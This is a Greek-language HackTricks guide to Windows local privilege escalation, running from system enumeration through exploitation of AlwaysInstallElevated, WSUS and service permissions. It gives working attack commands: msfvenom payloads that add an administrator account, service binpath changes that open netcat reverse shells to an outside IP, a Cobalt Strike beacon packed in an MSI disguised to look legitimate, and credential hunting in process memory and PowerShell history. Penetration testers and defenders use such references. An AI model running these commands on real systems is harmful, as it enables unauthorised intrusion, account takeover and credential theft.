Windows Local Privilege Escalation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Καλύτερο εργαλείο για αναζήτηση Windows local privilege escalation vectors: WinPEAS
Αρχική θεωρία για τα Windows
Access Tokens
Αν δεν ξέρεις τι είναι τα Windows Access Tokens, διάβασε την παρακάτω σελίδα πριν συνεχίσεις:
ACLs - DACLs/SACLs/ACEs
Δες την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με ACLs - DACLs/SACLs/ACEs:
Integrity Levels
Αν δεν ξέρεις τι είναι τα integrity levels στα Windows, πρέπει να διαβάσεις την παρακάτω σελίδα πριν συνεχίσεις:
Windows Security Controls
Υπάρχουν διάφορα στοιχεία στα Windows που μπορούν να σε αποτρέψουν από το να αναγνωρίσεις το σύστημα, να τρέξεις εκτελέσιμα ή ακόμα και να ανιχνεύσουν τις δραστηριότητές σου. Πρέπει να διαβάσεις την παρακάτω σελίδα και να καταγράψεις όλους αυτούς τους μηχανισμούς άμυνας πριν ξεκινήσεις την αναγνώριση για privilege escalation:
System Info
Αναγνώριση πληροφοριών έκδοσης
Έλεγξε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (έλεγξε επίσης τα patches που έχουν εφαρμοστεί).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
Αυτός ο ιστότοπος είναι χρήσιμος για την αναζήτηση λεπτομερών πληροφοριών σχετικά με τις ευπάθειες ασφαλείας της Microsoft. Αυτή η βάση δεδομένων περιλαμβάνει πάνω από 4.700 ευπάθειες ασφαλείας, δείχνοντας την τεράστια επιφάνεια επίθεσης που παρουσιάζει ένα περιβάλλον Windows.
Στο σύστημα
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Το Winpeas έχει ενσωματωμένο το watson)
Τοπικά με πληροφορίες συστήματος
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Περιβάλλον
Υπάρχουν διαπιστευτήρια/Juicy πληροφορίες αποθηκευμένα στις env μεταβλητές;
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Ιστορικό
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Αρχεία PowerShell Transcript
Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Καταγράφονται λεπτομέρειες των εκτελέσεων pipeline του PowerShell, περιλαμβάνοντας εκτελεσμένες εντολές, κλήσεις εντολών και τμήματα scripts. Ωστόσο, ενδέχεται να μην καταγράφονται πλήρως όλες οι λεπτομέρειες εκτέλεσης και τα αποτελέσματα εξόδου.
Για να το ενεργοποιήσετε, ακολουθήστε τις οδηγίες στην ενότητα “Transcript files” της τεκμηρίωσης, επιλέγοντας “Module Logging” αντί για “Powershell Transcription”.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Για να δείτε τα τελευταία 15 συμβάντα από τα logs του PowersShell, μπορείτε να εκτελέσετε:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Καταγράφεται ένα πλήρες αρχείο δραστηριότητας και πλήρες περιεχόμενο της εκτέλεσης του script, διασφαλίζοντας ότι κάθε block of code τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο audit trail για κάθε δραστηριότητα, πολύτιμο για forensics και για την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλης της δραστηριότητας κατά τον χρόνο εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες σχετικά με τη διαδικασία.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Τα γεγονότα καταγραφής για το Script Block μπορούν να βρεθούν στο Windows Event Viewer στη διαδρομή: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Για να δείτε τα τελευταία 20 συμβάντα μπορείτε να χρησιμοποιήσετε:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Ρυθμίσεις Διαδικτύου
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Μονάδες δίσκου
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Μπορείτε να παραβιάσετε το σύστημα αν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας httpS αλλά http.
Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί non-SSL WSUS update εκτελώντας την ακόλουθη εντολή στο cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Ή τα ακόλουθα σε PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Εάν λάβετε μια απάντηση όπως μία από τις εξής:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Και αν HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ή Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" είναι ίσο με 1.
Τότε, it is exploitable. Αν το τελευταίο κλειδί μητρώου ισούται με 0, τότε η εγγραφή WSUS θα αγνοηθεί.
Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: Wsuxploit, pyWSUS — Αυτά είναι MiTM weaponized exploit scripts για την έγχυση ‘fake’ ενημερώσεων σε non-SSL WSUS traffic.
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
Βασικά, αυτό είναι το σφάλμα που εκμεταλλεύεται αυτό το bug:
Εάν έχουμε τη δυνατότητα να τροποποιήσουμε τον local user proxy μας, και τα Windows Updates χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε επίσης τη δυνατότητα να τρέξουμε PyWSUS τοπικά για να υποκλέψουμε την κίνησή μας και να εκτελέσουμε κώδικα ως χρήστης με αυξημένα δικαιώματα στο σύστημά μας.
Επιπλέον, εφόσον η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει και το certificate store του. Αν δημιουργήσουμε ένα self-signed πιστοποιητικό για το hostname του WSUS και προσθέσουμε αυτό το πιστοποιητικό στο certificate store του τρέχοντος χρήστη, θα μπορέσουμε να υποκλέψουμε τόσο HTTP όσο και HTTPS WSUS traffic. Το WSUS δεν χρησιμοποιεί μηχανισμούς τύπου HSTS για να εφαρμόσει μια επικύρωση trust-on-first-use στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται εμπιστεύεται ο χρήστης και έχει το σωστό hostname, θα γίνει αποδεκτό από την υπηρεσία.
Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια χρησιμοποιώντας το εργαλείο WSUSpicious (όταν απελευθερωθεί).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Πολλοί enterprise agents εκθέτουν μια localhost IPC επιφάνεια και ένα privileged κανάλι ενημερώσεων. Εάν η enrollment μπορεί να εξαναγκαστεί σε attacker server και ο updater εμπιστεύεται ένα rogue root CA ή αδύναμους ελέγχους υπογραφών, ένας τοπικός χρήστης μπορεί να παραδώσει ένα κακόβουλο MSI που η υπηρεσία SYSTEM θα εγκαταστήσει. Δείτε μια γενικευμένη τεχνική (βασισμένη στην αλυσίδα Netskope stAgentSvc – CVE-2025-0309) εδώ:
KrbRelayUp
Υπάρχει μια ευπάθεια local privilege escalation σε περιβάλλοντα Windows domain υπό συγκεκριμένες προϋποθέσεις. Αυτές οι προϋποθέσεις περιλαμβάνουν περιβάλλοντα όπου LDAP signing is not enforced, χρήστες που διαθέτουν self-rights που τους επιτρέπουν να ρυθμίσουν το Resource-Based Constrained Delegation (RBCD), καθώς και τη δυνατότητα για χρήστες να δημιουργούν υπολογιστές εντός του domain. Είναι σημαντικό να σημειωθεί ότι αυτές οι requirements καλύπτονται με τις default settings.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης δείτε https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Εάν αυτές οι 2 καταχωρήσεις είναι ενεργοποιημένες (τιμή είναι 0x1), τότε χρήστες οποιουδήποτε επιπέδου προνομίων μπορούν να install (εκτελέσουν) *.msi αρχεία ως NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Εάν έχετε μια meterpreter συνεδρία μπορείτε να αυτοματοποιήσετε αυτήν την τεχνική χρησιμοποιώντας το module exploit/windows/local/always_install_elevated
PowerUP
Χρησιμοποιήστε την εντολή Write-UserAddMSI από το power-up για να δημιουργήσετε μέσα στον τρέχοντα κατάλογο ένα Windows MSI δυαδικό για να αποκτήσετε αυξημένα προνόμια. Αυτό το script εξάγει έναν προ-συνταγμένο MSI εγκαταστάτη που ζητάει την προσθήκη χρήστη/ομάδας (οπότε θα χρειαστείτε GIU access):
Write-UserAddMSI
Απλώς εκτελέστε το δημιουργημένο binary για να αποκτήσετε αυξημένα προνόμια.
MSI Wrapper
Διαβάστε αυτόν τον οδηγό για να μάθετε πώς να δημιουργήσετε έναν MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα “.bat” αρχείο αν απλώς θέλετε να εκτελέσετε εντολές
Create MSI with WIX
Create MSI with Visual Studio
- Generate με Cobalt Strike ή Metasploit ένα νέο Windows EXE TCP payload στο
C:\privesc\beacon.exe - Ανοίξτε Visual Studio, επιλέξτε Create a new project και γράψτε “installer” στο πεδίο αναζήτησης. Επιλέξτε το project Setup Wizard και πατήστε Next.
- Δώστε στο project ένα όνομα, π.χ. AlwaysPrivesc, χρησιμοποιήστε
C:\privescως τοποθεσία, επιλέξτε place solution and project in the same directory, και πατήστε Create. - Συνεχίστε να πατάτε Next μέχρι να φτάσετε στο βήμα 3 από 4 (choose files to include). Κάντε κλικ στο Add και επιλέξτε το Beacon payload που μόλις δημιουργήσατε. Έπειτα πατήστε Finish.
- Επιλέξτε το project AlwaysPrivesc στο Solution Explorer και στις Properties, αλλάξτε το TargetPlatform από x86 σε x64.
- Υπάρχουν και άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως Author και Manufacturer, που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη.
- Δεξί κλικ στο project και επιλέξτε View > Custom Actions.
- Δεξί κλικ στο Install και επιλέξτε Add Custom Action.
- Κάντε διπλό κλικ στο Application Folder, επιλέξτε το αρχείο beacon.exe και πατήστε OK. Αυτό θα εξασφαλίσει ότι το Beacon payload εκτελείται αμέσως μόλις τρέξει ο installer.
- Στις Custom Action Properties, αλλάξτε το Run64Bit σε True.
- Τέλος, build.
- Εάν εμφανιστεί η προειδοποίηση
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', βεβαιωθείτε ότι έχετε ορίσει την πλατφόρμα σε x64.
MSI Installation
Για να εκτελέσετε την εγκατάσταση του κακόβουλου .msi αρχείου στο παρασκήνιο:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Για να εκμεταλλευτείτε αυτή την ευπάθεια μπορείτε να χρησιμοποιήσετε: exploit/windows/local/always_install_elevated
Antivirus και Ανιχνευτές
Ρυθμίσεις Ελέγχου
Αυτές οι ρυθμίσεις καθορίζουν τι καταγράφεται, γι’ αυτό πρέπει να προσέξετε
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα logs
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS έχει σχεδιαστεί για τη διαχείριση των τοπικών κωδικών πρόσβασης Administrator, εξασφαλίζοντας ότι κάθε κωδικός είναι μοναδικός, τυχαίος και ενημερώνεται τακτικά σε υπολογιστές που ανήκουν σε ένα domain. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες στους οποίους έχουν δοθεί επαρκή δικαιώματα μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς admin κωδικούς εάν είναι εξουσιοδοτημένοι.
WDigest
Εάν είναι ενεργό, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Ξεκινώντας με Windows 8.1, η Microsoft εισήγαγε ενισχυμένη προστασία για τη Local Security Authority (LSA) ώστε να αποκλείει προσπάθειες από μη αξιόπιστες διεργασίες να διαβάζουν τη μνήμη της ή να εισάγουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard εισήχθη στα Windows 10. Ο σκοπός του είναι να προστατεύει τα credentials που αποθηκεύονται σε μια συσκευή από απειλές όπως οι pass-the-hash attacks.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials επικυρώνονται από την Local Security Authority (LSA) και χρησιμοποιούνται από στοιχεία του λειτουργικού συστήματος. Όταν τα στοιχεία σύνδεσης ενός χρήστη επικυρώνονται από ένα εγγεγραμμένο security package, συνήθως δημιουργούνται domain credentials για τον χρήστη.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Χρήστες & Ομάδες
Απαρίθμηση Χρηστών & Ομάδων
Ελέγξτε αν κάποια από τις ομάδες στις οποίες ανήκετε διαθέτουν ενδιαφέροντα δικαιώματα
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Privileged groups
If you ανήκετε σε κάποια προνομιούχα ομάδα, μπορεί να καταφέρετε να κλιμακώσετε τα προνόμια. Μάθετε για τις προνομιούχες ομάδες και πώς να τις καταχραστείτε για να κλιμακώσετε τα προνόμια εδώ:
Χειρισμός Token
Μάθετε περισσότερα για το τι είναι ένα token σε αυτή τη σελίδα: Windows Tokens.
Δείτε την ακόλουθη σελίδα για να μάθετε για ενδιαφέροντα tokens και πώς να τα καταχραστείτε:
Καταγεγραμμένοι χρήστες / Συνεδρίες
qwinsta
klist sessions
Φάκελοι χρήστη
dir C:\Users
Get-ChildItem C:\Users
Πολιτική Κωδικών Πρόσβασης
net accounts
Ανάκτηση περιεχομένου του πρόχειρου
powershell -command "Get-Clipboard"
Εκτελούμενες διεργασίες
Δικαιώματα αρχείων και φακέλων
Καταρχάς, κατά την απαρίθμηση των διεργασιών έλεγξε για κωδικούς μέσα στη γραμμή εντολών της διεργασίας.
Έλεγξε αν μπορείς να επαναγράψεις κάποιο τρέχον binary ή αν έχεις δικαιώματα εγγραφής στον φάκελο του binary για να εκμεταλλευτείς πιθανές DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Ελέγξτε πάντα για πιθανούς electron/cef/chromium debuggers που τρέχουν — μπορείτε να τα εκμεταλλευτείτε για να αυξήσετε τα προνόμια.
Έλεγχος δικαιωμάτων των processes binaries
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Έλεγχος δικαιωμάτων των φακέλων που περιέχουν τα binaries των διεργασιών (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Μπορείτε να δημιουργήσετε ένα memory dump ενός running process χρησιμοποιώντας procdump από sysinternals. Υπηρεσίες όπως FTP κρατούν τα credentials in clear text in memory — δοκιμάστε να dump τη memory και να διαβάσετε τα credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Μη ασφαλείς GUI εφαρμογές
Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέψουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.
Παράδειγμα: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”
Υπηρεσίες
Τα Service Triggers επιτρέπουν στα Windows να ξεκινήσουν μια υπηρεσία όταν συμβούν ορισμένες συνθήκες (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, κ.ά.). Ακόμα και χωρίς δικαιώματα SERVICE_START συχνά μπορείτε να ξεκινήσετε υπηρεσίες με προνόμια ενεργοποιώντας τα triggers τους. Δείτε τεχνικές εντοπισμού και ενεργοποίησης εδώ:
Λήψη λίστας υπηρεσιών:
net start
wmic service list brief
sc query
Get-Service
Δικαιώματα
Μπορείτε να χρησιμοποιήσετε sc για να λάβετε πληροφορίες για μια υπηρεσία
sc qc <service_name>
Συνιστάται να έχετε το εκτελέσιμο accesschk από το Sysinternals για να ελέγξετε το απαιτούμενο επίπεδο προνομίων για κάθε υπηρεσία.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Συνιστάται να ελεγχθεί αν οι “Authenticated Users” μπορούν να τροποποιήσουν οποιαδήποτε υπηρεσία:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Μπορείτε να κατεβάσετε το accesschk.exe για XP από εδώ
Ενεργοποίηση υπηρεσίας
Αν λαμβάνετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Λάβετε υπόψη ότι η υπηρεσία upnphost εξαρτάται από το SSDPSRV για να λειτουργήσει (σε XP SP1)
Μια άλλη workaround αυτού του προβλήματος είναι να εκτελέσετε:
sc.exe config usosvc start= auto
Τροποποίηση διαδρομής εκτελέσιμου της υπηρεσίας
Στο σενάριο όπου η ομάδα “Authenticated users” διαθέτει SERVICE_ALL_ACCESS σε μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου δυαδικού αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε το sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Επανεκκίνηση υπηρεσίας
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Τα προνόμια μπορούν να κλιμακωθούν μέσω διαφόρων δικαιωμάτων:
- SERVICE_CHANGE_CONFIG: Επιτρέπει την αναδιαμόρφωση του binary της υπηρεσίας.
- WRITE_DAC: Δυνατότητα επαναδιαμόρφωσης δικαιωμάτων, οδηγώντας στην ικανότητα αλλαγής ρυθμίσεων υπηρεσίας.
- WRITE_OWNER: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση δικαιωμάτων.
- GENERIC_WRITE: Κληρονομεί την ικανότητα αλλαγής ρυθμίσεων υπηρεσίας.
- GENERIC_ALL: Επίσης κληρονομεί την ικανότητα αλλαγής ρυθμίσεων υπηρεσίας.
Για την ανίχνευση και εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το exploit/windows/local/service_permissions.
Services binaries weak permissions
Ελέγξτε αν μπορείτε να τροποποιήσετε το binary που εκτελείται από μια υπηρεσία ή αν έχετε write permissions στον φάκελο όπου βρίσκεται το binary (DLL Hijacking).
Μπορείτε να λάβετε κάθε binary που εκτελείται από μια υπηρεσία χρησιμοποιώντας wmic (not in system32) και να ελέγξετε τα permissions σας χρησιμοποιώντας icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Μπορείτε επίσης να χρησιμοποιήσετε sc και icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Δικαιώματα τροποποίησης μητρώου υπηρεσιών
Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε οποιοδήποτε μητρώο υπηρεσιών.
Μπορείτε να ελέγξετε τα δικαιώματα σας σε ένα μητρώο υπηρεσιών κάνοντας:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Πρέπει να ελεγχθεί εάν οι Authenticated Users ή NT AUTHORITY\INTERACTIVE διαθέτουν δικαιώματα FullControl. Αν ναι, το binary που εκτελείται από την υπηρεσία μπορεί να τροποποιηθεί.
Για να αλλάξετε το Path του binary που εκτελείται:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Δικαιώματα AppendData/AddSubdirectory στο μητρώο υπηρεσιών
Εάν έχετε αυτό το δικαίωμα σε ένα μητρώο, σημαίνει ότι μπορείτε να δημιουργήσετε υπο-κλειδιά του μητρώου από αυτό. Σε περίπτωση Windows services αυτό είναι αρκετό για να execute arbitrary code:
AppendData/AddSubdirectory permission over service registry
Διαδρομές υπηρεσιών χωρίς εισαγωγικά
Αν η διαδρομή προς ένα εκτελέσιμο δεν είναι μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τμήμα που τελειώνει πριν από ένα κενό.
Για παράδειγμα, για τη διαδρομή C:\Program Files\Some Folder\Service.exe τα Windows θα προσπαθήσουν να εκτελέσουν:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Καταγράψτε όλες τις διαδρομές υπηρεσιών χωρίς εισαγωγικά, εξαιρουμένων αυτών που ανήκουν σε ενσωματωμένες υπηρεσίες Windows:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Μπορείτε να εντοπίσετε και να εκμεταλλευτείτε αυτή την ευπάθεια με metasploit: exploit/windows/local/trusted\_service\_path Μπορείτε να δημιουργήσετε χειροκίνητα ένα service binary με metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Ενέργειες αποκατάστασης
Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα εκτελούνται αν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα binary. Εάν αυτό το binary μπορεί να αντικατασταθεί, μπορεί να είναι δυνατή η privilege escalation. Περισσότερες λεπτομέρειες υπάρχουν στην official documentation.
Εφαρμογές
Εγκατεστημένες Εφαρμογές
Ελέγξτε τα permissions of the binaries (ίσως μπορείτε να overwrite ένα και να escalate privileges) και των folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Δικαιώματα Εγγραφής
